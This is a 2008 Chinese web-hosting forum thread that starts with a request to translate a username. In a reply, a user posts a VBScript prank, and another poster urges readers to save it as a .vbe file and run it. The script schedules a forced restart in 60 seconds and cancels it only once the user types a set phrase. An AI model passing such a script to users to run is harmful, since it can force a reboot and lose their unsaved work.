找回密码
 注册
广告投放 虚位以待【阿里云】2核2G云新老同享 99元/年,续费同价做网站就用糖果主机-sugarhosts.comJtti.com-新加坡服务器,美国服务器,香港服务器
查看: 199|回复: 7

flying-bear@iced-hill

[复制链接]
发表于 2008 年 6 月 12 日 14:14:00 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?注册

×
h雪山飞熊的英文翻译
如何?
汗,写错了

[ 本帖最后由 wode998 于 2008-6-12 14:28 编辑 ]
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
发表于 2008 年 6 月 12 日 14:22:58 | 显示全部楼层
【腾讯云】2核2G云服务器新老同享 99元/年,续费同价
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“不咋的”,不说的话,一分钟后洗你脑壳哦···"" ",0 ,true  
dim a
do while(a <> "不咋的")
a = inputbox ("说“不咋的”,就不洗你脑壳,快点哦,说 ""不咋的"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你个虾子,早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,晓得我的厉害老不??"
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2008 年 6 月 12 日 14:25:15 | 显示全部楼层
二楼内容用记事本保存成“真言.vbe”,然后运行!
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

 楼主| 发表于 2008 年 6 月 12 日 14:28:47 | 显示全部楼层

回复 3# 的帖子

不搞
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

 楼主| 发表于 2008 年 6 月 12 日 14:31:23 | 显示全部楼层
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2008 年 6 月 12 日 14:33:52 | 显示全部楼层
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2008 年 6 月 12 日 17:02:17 | 显示全部楼层
【腾讯云】2核2G云服务器新老同享 99元/年,续费同价
原帖由 飞狼 于 2008-6-12 14:22 发表

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“不咋的”,不说的话,一分钟后洗你脑壳哦···"" ",0 ,true  
dim a
do while(a <> "不咋的")
a = inputbox ("说“不咋的”,就不洗你脑壳,快点哦,说 ""不咋的"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "你个虾子,早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true  
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,晓得我的厉害老不??"



VBE
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

发表于 2008 年 6 月 12 日 18:41:04 | 显示全部楼层
Jgwy.Com - Free Web Hosting Guide & Directory In China since 2001! Jgwy.Net-Jglt.Net
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|金光论坛

GMT+8, 2025 年 2 月 2 日 16:53 , Processed in 0.032862 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表